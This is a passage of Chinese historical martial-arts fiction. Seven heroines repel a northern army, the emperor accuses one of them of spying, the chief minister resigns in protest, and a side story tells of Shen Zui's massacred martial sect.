她叫来阿福。 “阿福,”她说,“边关那边,咱们有铺子吗?” 阿福想了想:“有。雁门关里有咱们一家当铺,还有一家粮行。” 苏锦点点头。 “传话过去,让他们准备。越多越好。” 阿福问:“准备什么?” 苏锦说:“准备放火的东西。火油,干柴,火折子。” 阿福愣住了。 “大小姐,您要干什么?” 苏锦看着他,笑得像只狐狸。 “我要烧点东西。”她说,“烧北狄人的粮草。” 二月初四,酉时。 京城,甜水巷。 云娘听完阿桑念的信,沉默了一会儿。 然后她说:“阿桑,去把我那些学生找来。” 阿桑问:“找她们干什么?” 云娘说:“传信。” 她摸索着站起来,走到柜子前,打开柜门。 里面整整齐齐叠着几十方帕子。 每一方帕子上,都绣着不同的花样。 她一件一件摸过去,摸到其中一方,停下来。 那方帕子上绣着一只鸽子。 她把这方帕子拿出来,交给阿桑。 “把这个送到城东的绣庄,”她说,“那边有人会接。” 阿桑接过帕子,跑出去。 云娘站在窗边,听着外面的风声。 她的手,在袖口上慢慢摸着。 那上面绣着一朵梅花。 针脚细密,栩栩如生。 二月初四,戌时。 教坊司。 花解语看完信,把信烧了。 她站起来,走到琴前,把琴收进琴囊。 周嬷嬷推门进来,看见她在收拾东西,愣住了。 “花姑娘,您这是……” 花解语回过头,看着她。 “周嬷嬷,”她说,“我要走了。” 周嬷嬷脸色变了:“去哪儿?” 花解语说:“去弹琴。” 她背着琴,走出门。 周嬷嬷站在原地,看着她消失在夜色里。 二月初五,子时。 雁门关外三十里,一座废弃的村子里。 七个人,聚在一间破屋里。 谢霜寒最先到。 沈醉第二个。 白芷第三个。 苏锦第四个。 云娘第五个——被人用马车送来的。 花解语第六个。 最后一个到的,是谢知微。 她穿着一身黑衣,头发用布包着,脸上抹了灰,像个普通农妇。 可那双眼睛,还是那么亮。 亮得像刀。 她走进破屋,看着她们。 “都来了。”她说。 沈醉点点头。 谢知微走到屋中间,蹲下来,在地上画了一个图。 “这是鹰愁涧,”她说,“北狄人从这里进来的。他们的先锋营有三万人,现在驻扎在这里。” 她画了一个圈。 “离这里最近的村子,是张家集。有五百多户人家,两千多口人。北狄人下一个目标,应该就是那里。” 谢霜寒看着那个圈。 “他们什么时候动手?” 谢知微说:“最迟明天晚上。” 谢霜寒沉默了一会儿。 “我一个人,杀不完三万人。” 谢知微看着她。 “不是让你杀,”她说,“是让你拖。” 谢霜寒愣了一下。 谢知微说:“拖住他们。两天。两天后,朝廷的援军就到了。” 谢霜寒看着她,没说话。 沈醉开口了。 “怎么拖?” 谢知微说:“你打头阵。用你的醉拳,拖住他们的先锋。” 沈醉笑了。 “行,”她说,“打架我擅长。” 谢知微看向白芷。 “你放毒烟。北狄人怕这个。” 白芷点点头。 谢知微看向苏锦。 “你放火。他们的粮草辎重,烧了最好。” 苏锦笑了。 “放心,”她说,“烧东西我擅长。” 谢知微看向云娘。 “你传信号。我们的人,分布在各个村子里。需要你告诉他们,什么时候该跑,什么时候该躲。” 云娘点点头。 谢知微看向花解语。 “你弹琴。北狄人迷信,怕鬼。你给他们弹一曲《招魂》,让他们以为,那些被他们杀死的人,回来找他们了。” 花解语笑了。 “这个,”她说,“我最擅长。” 谢知微最后看向谢霜寒。 “你,”她说,“负责杀那些冲过来的。沈醉拖不住的,你杀。” 谢霜寒看着她。 “你呢?”她问。 谢知微说:“我坐镇指挥。” 谢霜寒盯着她,盯了很久。 然后她点了点头。 “好。”她说。 二月初五,夜。 张家集。 村子里的百姓已经被悄悄转移了。 只剩下空荡荡的屋子,在夜色里沉默着。 沈醉站在村口,手里拎着一坛酒。 她喝了一大口,然后把酒坛往地上一摔。 “来啊!”她对着夜色喊,“老娘在这儿等着你们!” 远处,传来马蹄声。 轰隆隆的,像打雷。 北狄人来了。 沈醉眯起眼睛,看着那一片黑压压的影子。 她笑了。 “三娘,”她说,“准备好了吗?” 李三娘站在她身后,手里握着刀。 “准备好了。” 沈醉点点头。 “那就上。” 她冲了出去。 醉拳。 她的拳法,是师父教的。师父说,这拳法看着像喝醉了,其实每一步都是算计。敌人以为你站不稳,你偏能站稳;敌人以为你打不着,你偏能打着。 她冲进北狄人的队伍里,左一拳,右一脚,打得那些北狄兵人仰马翻。 可人太多了。 她打倒一个,冲上来十个。 她打倒十个,冲上来一百个。 她浑身是血,有自己的,也 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“发。告诉所有人,北狄人乱了,让他们准备跑。” 阿桑拿起一方绣着鸽子的帕子,跑出去。 云娘坐在黑暗里,听着外面的喊杀声。 她的手,在袖口上慢慢摸着。 那朵梅花,还在。 山坡上。 花解语坐在一块石头上,面前摆着琴。 她开始弹琴。 《招魂》。 这首曲子,是她娘教的。她娘说,人死了,魂魄会飘散。弹这首曲子,能把它们召回来。 她不知道这是真是假。 但她知道,北狄人信这个。 琴音在夜风里飘出去,飘到战场上。 那些北狄人听见了,脸色都变了。 “什么声音?” “鬼!是鬼!” “那些被杀的人,回来了!” 他们开始乱。 花解语继续弹。 越弹越快,越弹越急。 琴音像刀子一样,扎进那些北狄人的耳朵里,扎进他们心里。 村口。 沈醉已经快撑不住了。 她身上中了三刀,血流了一地。 可她还在打。 边打边笑。 “来啊!再来啊!” 忽然,一只手扶住了她。 是谢霜寒。 “够了,”谢霜寒说,“该我了。” 她冲出去。 剑光一闪,三个北狄兵倒下去。 剑光再闪,又是五个。 她像一道黑色的闪电,在北狄人的队伍里穿梭。 每一剑,都带走一条命。 北狄人怕了。 “是霜鬼!那个女魔头!” “快跑!” 他们开始溃退。 山坡上,白芷站起来。 风向变了。 往北狄人那边吹。 她点燃药包,扔出去。 毒烟弥漫开来,飘向北狄人。 那些北狄人吸进毒烟,开始头晕眼花,四肢无力。 跑得更慢了。 谢霜寒追上去,一剑一个。 村子的另一头,火越烧越旺。 粮草烧完了,开始烧营帐。 营帐烧完了,开始烧人。 北狄人彻底乱了。 山坡上,花解语的琴音越来越急。 像千军万马,像鬼哭狼嚎。 那些北狄人捂着耳朵,到处乱跑。 他们不知道往哪儿跑。 往前,有谢霜寒的剑。 往后,有大火。 往左,有毒烟。 往右,有琴音。 他们像一群无头苍蝇,在战场上乱撞。 村口的破屋里。 谢知微站在窗边,看着这一切。 她的脸上没有表情。 可她的眼睛很亮。 亮得像火。 二月初六,辰时。 天亮了。 战场上,到处都是尸体。 北狄人的尸体。 三万人,死了五千多,伤了一万多,剩下的溃散到山里,不知道跑哪儿去了。 援军还没到。 可已经不需要了。 沈醉躺在村口,浑身是血,可还活着。 谢霜寒站在她身边,剑上的血还没干。 白芷走过来,给沈醉包扎伤口。 苏锦从村子另一头走过来,身上全是灰,可笑得像只狐狸。 云娘被阿桑扶着,慢慢走过来。 花解语抱着琴,从山坡上走下来。 谢知微从破屋里走出来。 七个人,站在战场上。 到处都是血,到处都是尸体。 可她们站着。 活着。 谢霜寒看着谢知微。 看了很久。 然后她开口了。 “谢相。” 谢知微看着她。 谢霜寒说:“这次,我信你。” 谢知微愣了一下。 然后她笑了。 笑得很轻,很淡。 可那是真的笑。 沈醉躺在地上,听见这话,也笑了。 “谢阁主,”她有气无力地说,“你才信啊?我早就信了。” 谢霜寒看着她,难得地露出一点笑。 白芷也笑了。 苏锦笑得最大声。 云娘在笑,虽然看不见,但嘴角弯弯的。 花解语在笑,抱着琴,笑得像朵花。 七个人,站在血流成河的战场上,笑着。 笑着笑着,沈醉忽然说:“谢相,咱们这算不算,换了个活法?” 谢知微想了想。 “算。”她说,“今天算一天。” 沈醉说:“那以后呢?” 谢知微看着远处。 远处,太阳从云层里钻出来,照在雪地上,照在血泊上,照在她们身上。 “以后,”她说,“还有很多天。” 没有人说话。 她们只是站着,看着那太阳一点点升起来。 阳光照在她们脸上,暖洋洋的。 远处传来马蹄声。 是援军。 可她们不需要了。 谢知微转过身,看着她们。 “走吧,”她说,“回家。” 沈醉被扶起来,靠在谢霜寒身上。 白芷背起药箱。 苏锦拍了拍身上的灰。 云娘被阿桑扶着。 花解语抱着琴。 七个人,慢慢往前走。 走出战场,走进阳光里。 身后,是五千多具北狄人的尸体。 身前,是回家的路。 ——第十一章完—— 12. 皇帝的阴谋 承安十一年,三月初三。 上巳节。 本该是踏青赏春、曲水流觞的日子。 可京城的气氛,却像凝固了一样。 边关大捷的消息已经传遍了天下。五千北狄精锐毙命鹰愁涧,两万余人溃散,先锋营全军覆没。这是大燕立朝以来,对北狄取得的最大一场胜仗。 可朝堂上,没有庆功宴。 因为打胜仗的,不是朝廷的军队。 是七个女人。 乾元殿里,皇帝坐在龙椅上,脸色阴沉得能滴出水来。 他面前摆着三份密报。 第一份,来自皇城司:鹰愁涧一战,七绝联手,以不足百人之力,击溃北狄先锋营三万精兵。谢霜寒斩杀敌将一十七人,沈醉独战百夫长三人,白芷毒烟迷倒千余敌军,苏锦火烧粮草辎重,云娘传递军情信号,花解语琴音乱敌心神,谢知微——坐镇指挥。 第二份,来自边关守将:此战之后,边关百姓为七绝立生祠,香火不断。民间称她们为“七仙女下凡”,说她们是老天爷派来救苦救难的。 第三份,来自刘公公:七绝之名,已经传遍天下。茶馆酒肆,街头巷尾,到处都在传颂她们的事迹。有人说她们是当世豪杰,有人说她们是女中丈夫,还有人说—— 说皇帝不如她们。 皇帝把这三份密报摔在地上。 “不如她们?”他咬着牙,“朕是天子!她们算什么东西?” 刘公公跪在地上,大气都不敢出。 皇帝站起来,在殿里走来走去。 走了几圈,他忽然停下来。 “刘伴儿,”他说,“你说,朕该怎么办?” 刘公公小心翼翼地说:“陛下,臣愚钝,不敢妄言。” 皇帝冷笑一声。 “不敢妄言?你是怕说错话,朕砍你的头吧?” 刘公公磕头如捣蒜。 皇帝看着他,忽然想起一件事。 “对了,”他说,“你之前跟朕说过,七绝之中,有一个人是从北狄回来的?” 刘公公抬起头:“是。臣查过了,那个谢霜寒,早年曾在北狄待过三年。她那一身武功,有一半是在北狄学的。” 皇帝的眼睛眯起来。 “北狄学的?她跟北狄人学过武?” 刘公公点头。 皇帝沉默了一会儿。 然后他笑了。 笑得很阴。 “好,”他说,“好。去,传谢知微进宫。就说朕有要事相商。” 刘公公应声而去。 皇帝站在殿里,看着窗外的天。 天很蓝,蓝得像假的。 “谢知微,”他喃喃说,“朕倒要看看,你这回怎么选。” 半个时辰后,谢知微走进乾元殿。 她穿着一身朝服,头发梳得一丝不苟,脸上没有任何表情。 皇帝坐在龙椅上,笑眯眯地看着她。 “谢爱卿来了,”他说,“坐。” 谢知微行了一礼,在下首坐下。 皇帝看着她,看了很久。 然后他开口了。 “谢爱卿,”他说,“鹰愁涧一战,你立了大功。朕想赏你。你想要什么?” 谢知微说:“臣为陛下分忧,是分内之事。不敢领赏。” 皇帝笑了。 “不敢领赏?谢爱卿什么时候变得这么谦虚了?” 谢知微不说话。 皇帝站起来,走到她面前,低头看着她。 “谢爱卿,”他说,“朕听说,你和那几个女人,关系很好?” 谢知微抬起头,迎着他的目光。 “陛下想问什么?” 皇帝说:“朕想问,你知不知道,她们之中,有北狄的细作?” 谢知微的眼神微微一凝。 可她脸上,没有任何变化。 “陛下何出此言?”她问。 皇帝转过身,走回龙椅前,拿起一份密报,扔给她。 谢知微接住,展开。 上面写着谢霜寒的履历——自幼丧母,流落边关,曾入北狄三年,学得一身武功。 她看完,抬起头。 “陛下,”她说,“谢霜寒在北狄三年,杀过的北狄人,比任何边关将领都多。” 皇帝笑了。 “杀北狄人?那也可能是苦肉计。朕见过太多这样的把戏了。” 谢知微看着他。 “陛下想让我做什么?” 皇帝说:“朕想让你查。查出那个细作是谁。然后——” 他顿了顿,一字一字说:“杀了她。” 谢知微沉默了很久。 殿里静得可怕。 只有香炉里的烟,袅袅地往上飘。 过了很久,谢知微开口了。 “陛下,”她说,“您确定,七绝之中有细作?” 皇帝说:“朕不确定。所以才让你查。” 谢知微说:“如果查不出来呢?” 皇帝笑了。 “查不出来?”他说,“那说明,你就是那个细作。” 谢知微的眼神一冷。 皇帝看着她,笑容更深了。 “谢爱卿,”他说,“你当了九年宰相,应该知道朕的脾气。朕宁可错杀一千,绝不放过一个。你说,朕说得对不对?” 谢知微没有说话。 皇帝走回龙椅前,坐下。 “行了,”他摆摆手,“你下去吧。记住朕的话。七天之内,朕要一个结果。” 谢知微站起来,行了一礼,退出乾元殿。 走出宫门,她抬起头,看着天。 天很蓝。 蓝得像假的。 她忽然笑了。 笑得很冷。 “皇帝的阴谋,”她轻声说,“原来在这儿等着呢。” 三月初四。 消息不知从哪儿传出来的。 一夜之间,京城的大街小巷都在议论一件事。 “听说了吗?七绝之中有叛徒!” “什么叛徒?” “北狄细作!那个杀人不眨眼的女魔头,谢霜寒,她是在北狄学的武!” “真的假的?” “当然是真的!有人查出来了,她在北狄待了三年,跟北狄人学的剑法!” “那她杀的那些北狄人……” “苦肉计!都是演的!” 议论声像野火一样,飞快地蔓延开来。 茶馆里,酒楼里,街头巷尾,到处都在说。 有人信,有人不信。 可不管信不信,这话都传出去了。 传到了风月楼。 三月初四,酉时。 沈醉坐在听梅阁里,听李三娘说完外面的传言,手里的酒碗“啪”地一声摔在地上。 碎成无数片。 “放他娘的屁!”她站起来,“谢阁主是细作?她杀的北狄人,堆起来能堆成山!” 李三娘不敢说话。 沈醉在屋里走来走去,像一头困兽。 走了几圈,她忽然停下来。 “谢相呢?”她问,“她怎么说?” 李三娘说:“谢相还在宫里。今儿个一早被召进宫,到现在没出来。” 沈醉的眼神一凛。 “皇帝的阴谋,”她咬着牙,“他想借谢相的手,杀光咱们!” 李三娘愣住了。 “老板娘,您说什么?” 沈醉没有回答。 她走到窗边,推开窗,看着外面的天。 天灰蒙蒙的,像要下雨。 “三娘,”她说,“去,把其他几个人都叫来。就说老娘有事,要跟她们商量。” 李三娘应声而去。 沈醉站在窗边,手攥得紧紧的。 “老娘倒要看看,”她一字一字说,“谁敢背叛!” 三月初四,戌时。 风月楼,听梅阁。 六个人到齐了。 谢霜寒坐在角落里,脸色铁青。 白芷坐在她旁边,手里捏着药包。 苏锦坐在窗边,脸上没了往日的笑。 云娘坐在炭火旁,手指捻着袖口。 花解语坐在琴前,手搭在琴弦上。 沈醉站在屋子中间,看着她们。 “都听说了?”她问。 没有人说话。 沈醉说:“外头在传,咱们中间有北狄细作。传的是谢阁主。” 所有人的目光都看向谢霜寒。 谢霜寒一动不动。 沈醉走到她面前,低头看着她。 “谢阁主,”她说,“你有什么要说的?” 谢霜寒抬起头,迎着她的目光。 “我在北狄待过三年,”她说,“是真的。我跟北狄人学过剑法,也是真的。” 沈醉的眼神一凛。 谢霜寒继续说:“可我杀的北狄人,比他们全家加起来都多。” 沈醉看着她,看了很久。 然后她忽然笑了。 “行,”她说,“我信你。” 谢霜寒愣了一下。 沈醉说:“你要真是细作,那天晚上你就不用杀那么多人。你站在一边看戏就行了。” 谢霜寒看着她,眼睛里有什么东西闪了一下。 苏锦开口了。 “我也信。”她说,“谢阁主要真是细作,我那火烧粮草的时候,她完全可以放水。可她没有。她杀得比谁都狠。” 白芷点点头:“我配的毒烟,她一点没躲。要真是细作,她应该早就服了解药。” 云娘说:“我传的信号,她每一个都看了。要真是细作,她应该把信号告诉北狄人。” 花解语说:“我的琴音,她听了。要真是细作,她应该捂耳朵。” 六个人,一个一个说过去。 谢霜寒听着,脸上的冷意慢慢化开。 她张了张嘴,想说什么,却什么都说不出来。 沈醉拍了拍她的肩。 “别说了,”她说,“咱们信你。” 谢霜寒点点头。 可沈醉的脸色并没有放松。 她转过身,看着她们。 “外头那些传言,不是凭空来的。”她说,“有人在背后捣鬼。” 苏锦说:“皇帝。” 所有人都看向她。 苏锦说:“除了皇帝,谁有这么大能耐,一夜之间让全城都传遍?” 沈醉点点头。 “我也是这么想的。” 白芷问:“他想干什么?” 沈醉说:“他想让咱们互相猜忌,互相怀疑。然后借谢相的手,把咱们一个一个除掉。” 花解语冷笑一声。 “好算计。”她说。 云娘问:“谢相呢?她怎么说?” 沈醉摇摇头。 “她还在宫里。从早上到现在,没出来。” 屋子里安静下来。 她们都知道,谢知微在宫里,面对的是什么。 是皇帝的刀。 是皇帝的阴谋。 是皇帝的——逼她选。 三月初四,亥时。 皇宫,值房。 谢知微坐在案前,面前摆着一份奏折。 可她一个字都没看进去。 她在想皇帝的话。 “查不出,你就是细作。” 她冷笑一声。 皇帝想借她的手,杀光那六个人。 可皇帝不知道,那六个人,是她用命换来的。 是她等了二十三年,才等到的。 她怎么可能杀她们? 可她不杀,皇帝就会杀她。 她死了,那六个人也活不了。 皇帝不会放过她们。 她该怎么办? 她想了很久。 想到蜡烛燃尽,想到窗外的月亮升起来,又落下去。 然后她站起来,走到窗边,推开窗。 夜风吹进来,凉丝丝的。 她忽然想起那天晚上,七盏酒碰在一起,积雪震落。 她想起沈醉说的那句话:“谢相,你拿什么让我们信你?” 她解下官帽,露出白发。 “我母亲因提‘女子读书’被赐死——我这条命,从出生就在赌。” 她赌了二十三年。 赌到今天。 现在,又要赌了。 她关上窗,走回案前,铺开纸,开始写信。 第一封,给沈醉:皇帝的阴谋,我知道了。他要我杀你们。我不杀。可我需要时间。给我七天。七天后,我给你们一个交代。 第二封,给谢霜寒:我信你。不管你以前做过什么,以后要做什么,我都信你。因为那天晚上,你的剑,我看见了。 第三封,给白芷:你救过的人,会记得你。我死了,他们也会记得你。 第四封,给苏锦:你的账本,该用了。那些欠你钱的人,该还了。 第五封,给云娘:你的针,能绣花,也能绣路。绣一条新路出来。 第六封,给花解语:你的琴,能杀人,也能传消息。告诉所有人,我们还活着。 七封信,六个人。 她叫来青棠,让她送出去。 然后她坐下来,等着。 等着天亮。 等着皇帝再来问她。 等着那七天的倒计时,开始。 三月初五,寅时。 风月楼。 沈醉看完谢知微的信,沉默了很久。 李三娘站在旁边,不敢说话。 过了很久,沈醉开口了。 “三娘,”她说,“去告诉其他几个人,谢相要七天。咱们给她七天。” 李三娘应了一声,要走。 沈醉叫住她。 “还有,”她说,“告诉她们,这七天,谁都不许轻举妄动。不管外头传什么,不管谁来说什么,都给我忍着。” 李三娘点点头,走了。 沈醉站在窗边,看着天边那一线灰白。 天快亮了。 她忽然想起谢霜寒那句话。 “这次,我信你。” 她笑了。 “谢相,”她轻声说,“这次,我也信你。” 三月初五,辰时。 霜冷剑阁。 谢霜寒看完信,把信烧了。 阿蘅在旁边,小心翼翼地问:“阁主,出什么事了?” 谢霜寒摇摇头。 “没事。”她说,“只是有人想找死。” 阿蘅不明白。 谢霜寒看着她,忽然问:“阿蘅,你信我吗?” 阿蘅愣了一下,然后用力点头。 “信!” 谢霜寒难得地露出一点笑。 “那就好。”她说。 三月初五,午时。 医谷。 白芷看完信,把信叠好,收进怀里。 阿茴跑过来,问:“姐姐,谢相说什么?” 白芷说:“她说,她信我们。” 阿茴笑了。 “那咱们也信她!” 白芷点点头。 “对,”她说,“咱们也信她。” 三月初五,申时。 江南,扬州。 苏锦看完信,笑了。 “七天,”她说,“好,我给你七天。” 她叫来阿福。 “阿福,”她说,“那些账本,都准备好了吗?” 阿福点头。 苏锦说:“传话出去,让那些欠钱的人准备好。七天之后,我要他们还债。” 阿福应声而去。 苏锦站在窗前,看着外面的院子。 院子里,桃花开了。 粉嘟嘟的一片,像云彩一样。 她看着那些桃花,忽然想起妹妹的脸。 那张脸,早就模糊了。 可她还记得那双眼睛。 亮亮的,看着她。 姐姐,等我长大了,我请你喝真的酒。 她没喝到。 可很快,会有很多人喝到。 苏锦笑了。 笑着笑着,眼泪流下来。 三月初五,酉时。 京城,甜水巷。 云娘听完阿桑念的信,没有说话。 阿桑问:“云娘,咱们怎么办?” 云娘说:“绣花。” 阿桑愣住了。 云娘摸索着拿起针,开始绣。 她绣的是一朵梅花。 针脚细密,栩栩如生。 “阿桑,”她说,“你知道我为什么喜欢绣梅花吗?” 阿桑摇头。 云娘说:“因为梅花开在冬天。最冷的时候,它开得最好。” 她顿了顿。 “现在,就是最冷的时候。” 三月初五,戌时。 教坊司。 花解语看完信,把信烧了。 她站起来,走到琴前,坐下。 开始弹琴。 《广陵散》。 曲子里藏着密语。 那些密语说的是:我们还在,我们信她。 琴音在夜风里飘出去,飘过教坊司的围墙,飘过京城的街道,飘到每一个听琴的人耳朵里。 有人听见了。 有人听懂了。 有人开始传。 传那些密语。 传那些消息。 传那句话—— 我们还在。 我们信她。 三月初六。 江湖上传出新的传言。 “七绝之中有叛徒?假的!人家好着呢!” “那谢霜寒的事……” “谢霜寒怎么了?她杀的人,你们没看见?” “可她在北狄待过……” “她在北狄待过,杀的北狄人比谁都多。你呢? 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因为她们信她。 因为她不能让她们失望。 窗外,月亮升起来。 很圆,很亮。 她看着那月亮,忽然想起母亲的脸。 母亲死的那天,也有一轮月亮。 冷冷的,照着雪地,照着血。 她闭上眼睛。 “母亲,”她轻声说,“您看着。女儿不会让您失望。” 三月初九。 风月楼。 沈醉站在窗边,看着外面的街。 街上的狗越来越多了。 皇城司的人,刘公公的人,皇帝的人,到处都是。 她冷笑一声。 盯吧。 盯到死。 身后传来脚步声。 是李三娘。 “老板娘,”李三娘说,“其他几位都回话了。都准备好了。” 沈醉点点头。 “好,”她说,“那就等。” 等什么? 等谢相的那句话。 等那七天过去。 等她们一起,给皇帝一个答复。 三月初十。 还有两天。 谢知微坐在值房里,看着案上的奏折。 批完了。 全都批完了。 她放下笔,站起来,走到窗边。 窗外,有人在盯着她。 皇城司的狗,一刻都不放松。 她笑了。 盯着吧。 很快,就不用盯了。 因为她会给他们一个惊喜。 三月十一。 还有一天。 京城的气氛,紧张得像一根绷紧的弦。 到处都在传。 传七绝,传皇帝,传谢知微。 传那句话—— 七绝之中有叛徒? 还是皇帝在陷害忠良? 没有人知道答案。 可每个人都在等。 等明天。 等那七天过去。 等一个结果。 三月十二。 第七天。 谢知微穿上朝服,梳好头发,走出值房。 阳光照在她身上,暖洋洋的。 她抬起头,看着那太阳。 今天,她要给皇帝一个答复。 也要给那六个人一个交代。 她走出宫门。 门外,停着一辆马车。 车帘掀开,露出一张脸。 是沈醉。 “谢相,”沈醉说,“上车。” 谢知微看着她,笑了。 “你怎么来了?” 沈醉说:“来接你。咱们一起去。” 谢知微问:“去哪儿?” 沈醉说:“去风月楼。她们都在等你。” 谢知微沉默了一会儿。 然后她上了车。 马车动起来,往风月楼去。 车里很安静。 沈醉看着她,忽然问:“谢相,你想好了?” 谢知微点点头。 沈醉问:“什么答复?” 谢知微说:“你猜。” 沈醉笑了。 “行,”她说,“不猜。反正不管你给什么答复,我们都接着。” 谢知微看着她,眼眶红了。 可她没让眼泪掉下来。 因为还没到哭的时候。 风月楼到了。 谢知微下车,走进楼里,上了三楼,进了听梅阁。 六个人都在。 谢霜寒,白芷,苏锦,云娘,花解语。 她们看着她。 她看着她们。 没有人说话。 过了很久,谢知微开口了。 “诸位,”她说,“七天前,皇帝跟我说,七绝之中有北狄细作。他要我查,查出来,杀了她。查不出来,我就是细作。” 没有人说话。 谢知微继续说:“我查了七天。什么都没查出来。” 她顿了顿。 “因为我知道,根本就没有什么细作。” 她看着她们,一个一个看过去。 “你们不是细作。我也不是。我们都是想换个活法的人。” 她笑了。 笑得很轻,很淡。 “所以,我给皇帝的答复是——” 她从怀里摸出一份奏折,放在桌上。 “辞呈。” 屋子里安静了一瞬。 然后沈醉笑了。 “好!”她拍着桌子,“辞得好!” 谢霜寒站起来,走到谢知微面前。 “谢相,”她说,“你辞了官,往后怎么办?” 谢知微看着她。 “跟你们一起。”她说,“换活法。” 谢霜寒看着她,看了很久。 然后她点了点头。 “好。”她说。 白芷走过来。 “谢相,”她说,“你那白发,我看着心疼。往后我给你配点药,让它们黑回来。” 谢知微笑了。 “不用,”她说,“白着挺好。看着像雪。” 苏锦走过来。 “谢相,”她说,“你那辞呈递上去,皇帝肯定要发疯。你可得小心点。” 谢知微点点头。 云娘走过来,摸索着握住她的手。 “谢相,”她说,“往后,咱们一起绣花。” 花解语走过来,站在她面前。 “谢相,”她说,“往后,我给你弹琴。” 七个人,站在听梅阁里。 窗外,阳光正好。 谢知微看着她们,忽然想起那天晚上,七盏酒碰在一起,积雪震落。 那是开始。 现在,是新的开始。 她笑了。 “好,”她说,“那就一起。” 远处,皇宫里,皇帝看着那份辞呈,脸色铁青。 他把辞呈摔在地上,踩了两脚。 “反了!”他吼道,“都反了!” 刘公公跪在地上,浑身发抖。 皇帝喘着粗气,在殿里走来走去。 走了几圈,他忽然停下来。 “好,”他说,“好得很。既然她们想换活法,那朕就给她们换个活法。” 他冷笑一声。 “来人!” 侍卫进来。 皇帝说:“传朕旨意,谢知微勾结乱党,图谋不轨,即刻捉拿归案!” 侍卫应声而去。 皇帝站在殿里,看着窗外。 窗外,天还是那么蓝。 蓝得像假的。 “谢知微,”他喃喃说,“你以为辞了官,朕就拿你没办法了?” 他笑了。 笑得阴恻恻的。 “做梦。” 风月楼里。 七个人还不知道,危险正在逼近。 她们只是站着,笑着,看着彼此。 沈醉拎起一坛酒。 “来,”她说,“喝酒。” 七盏酒摆上桌。 七个人举起酒盏。 碰在一起。 “换活法!” 窗外,阳光灿烂。 远处,马蹄声隐隐传来。 可她们没有听见。 她们只是喝酒。 喝完了,把酒盏往桌上一顿。 然后相视而笑。 ——第十二章完—— 13. 沈醉的师门血案[番外] 番外 沈醉的师门血案 承安十一年,三月十五。 夜。 风月楼打烊之后,沈醉一个人坐在听梅阁里。 桌上摆着一坛酒,是她藏了十年的女儿红。坛子已经空了,歪倒在一边。她手里还攥着酒碗,碗底剩着一口,晃来晃去,就是不肯喝完。 窗外没有月亮。 屋子里只点了一盏灯,火苗跳着,把她的影子拉得忽长忽短。 她低头,看着手里的一样东西。 那是一只酒壶塞。 很小,巴掌都不到,是用半块玉佩雕成的。玉是青白色的,温润油亮,雕成了一朵梅花的形状。梅花有五瓣,每一瓣上都刻着一道细细的痕。 五道痕。 五碗酒。 或者说,五次醉。 沈醉看着那些刻痕,看了很久。 然后她笑了。 笑得很轻,很苦。 “师父,”她轻声说,“我又醉了。” 没有人回答。 只有灯花“啪”地爆了一声。 她把酒壶塞攥在手心里,攥得紧紧的。 那玉温温的,像是有温度。 像很多年前,师父的手。 承安元年。不对,那是现在的年号。那时候还是建元二十三年。 那年沈醉十五岁。 师父说,醉儿,你长大了。 她那时候不懂什么叫长大。她只知道,师父夸她拳法练得好,师姐夸她长得好看,小师妹成天跟在她屁股后面喊“醉姐姐醉姐姐”。 那是她这辈子最快活的时候。 师父的师门不在名山大川,在一座小山里。山叫什么名字她早就忘了,只记得山脚下有一条河,河水清得能看见底,夏天的时候她和小师妹去河里摸鱼,能摸满满一篓。 师父是个疯疯癫癫的老道姑,整天喝得醉醺醺的,可教起拳法来比谁都认真。师父说,醉拳不是真醉,是装醉。装得像,敌人就信;敌人信了,你就赢了。 她那时候听不懂。 师父说,你以后会懂的。 师姐比她大三岁,是个闷葫芦,一天说不了三句话。可师姐对她好,有什么好吃的都留给她,她闯了祸师姐替她顶罪,她被师父骂了师姐陪着她哭。 小师妹最小,才九岁,圆脸大眼,一笑两个酒窝。小师妹最喜欢缠着她,让她讲故事,让她教拳法,让她背着满山跑。 她觉得日子会一直这样过下去。 师父教拳,师姐做饭,小师妹捣乱,她练功。 一辈子。 直到那天。 那天山上来了客人。 是几个穿黑衣的男人,说是江湖上的朋友,路过此地,想借宿一晚。师父让他们住下了,好吃好喝招待着。她那时候还小,不懂事,还凑上去跟人家说话。 其中有一个年轻人,长得挺好看,笑起来温温和和的,叫她“小妹妹”。 她叫他“大哥哥”。 那天晚上,师父让她去陪客人喝酒。 她去了。 师父说,醉儿,你陪他们喝几杯,别喝多。 她说,知道了师父。 她去了。 那年轻人给她倒酒,她喝。问她话,她说。夸她好看,她笑。 她说了很多话。 说了师父,说了师姐,说了小师妹。说了山下的河,说了山上的树,说了她练拳的糗事。 她还说了—— 说了师父有一个匣子,藏在后山的山洞里。匣子里装着一本册子,上面记着好多人的名字和事。 年轻人问,什么名字? 她说,不知道,师父不让看。 年轻人笑了,笑得很好看。 他说,小妹妹,你真可爱。 她笑了,醉醺醺的。 那天晚上她喝了很多酒。 喝到最后,趴在桌上睡着了。 醒来的时候,师门已经没了。 房子烧成了白地。 到处都是血。 她跑出去,跑向后山。 跑到一半,她看见了师父。 师父躺在地上,浑身是血,胸口插着一把刀。 她扑过去,抱住师父。 “师父!师父!” 师父睁开眼睛,看见她。 师父的眼睛里,没有责怪,没有怨恨。 只有心疼。 师父抬起手,颤抖着,从怀里摸出一样东西。 半块玉佩。 青白色的,雕着一朵梅花。 师父把它塞进她手里。 “醉儿,”师父的声音很轻,轻得像风,“活……活下去……” 师父的手垂下去。 眼睛还睁着,看着她。 她抱着师父,抱着那具渐渐冷下去的尸体,喊不出来,哭不出来。 就那么抱着。 后来她站起来,往后山走。 走到那个山洞。 洞口的石头被挪开了,匣子不见了。 她站在洞口,站了很久。 然后她下山。 走到山脚,她看见师姐。 师姐躺在河边,半个身子泡在水里,水都染红了。 她走过去,蹲下来,看着师姐的脸。 师姐的眼睛闭着,像是睡着了。 可她知道,师姐再也不会醒了。 她站起来,继续走。 走到村口,她看见小师妹。 小师妹躺在路边的草堆里,身上盖着一层薄薄的雪。 圆脸还是圆的,眼睛却再也不会亮了。 她跪下来,把小师妹抱在怀里。 抱了很久。 然后她站起来,继续走。 走啊走,不知道走了多久。 走到一个镇上,她饿了,渴了,累了。 她走进一家酒楼,要了一碗酒。 那是她这辈子第一次喝酒。 酒很辣,辣得她眼泪都出来了。 可她喝完了。 又要了一碗。 又喝完了。 喝到第三碗,她趴在桌上,哭了出来。 哭得撕心裂肺。 从那以后,她就离不开酒了。 因为只有喝醉的时候,她才能暂时忘记那些脸。 师父的脸。 师姐的脸。 小师妹的脸。 还有那个年轻人的脸。 温温和和的,笑得很好看。 她后来打听过那个人。 可什么都没打听到。 他像鬼一样,消失了。 她只知道,那天晚上她说的话,害死了所有人。 